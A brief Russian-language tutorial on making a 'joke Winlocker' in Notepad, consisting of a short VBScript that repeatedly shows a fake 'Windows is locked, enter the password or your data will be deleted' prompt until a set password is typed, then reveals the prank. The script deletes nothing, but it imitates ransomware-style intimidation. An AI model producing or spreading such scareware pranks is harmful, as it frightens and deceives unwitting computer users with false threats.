\\Как сделать шуточный Winlocker в блокноте на пк\\

Программа: ------------------------------------------------------------- Do set t=createobject("Wscript.Shell") set kill = createobject ("wscript.shell") password =InputBox ("Windows заблокирован! Введите пароль или данные с вашего компьютера будут удалены!") Loop Until password = "(пароль)" msgbox "Оценил шутку?" ,16, "Надеюсь ты больше не будешь играть с читами!" -------------------------------------------------------------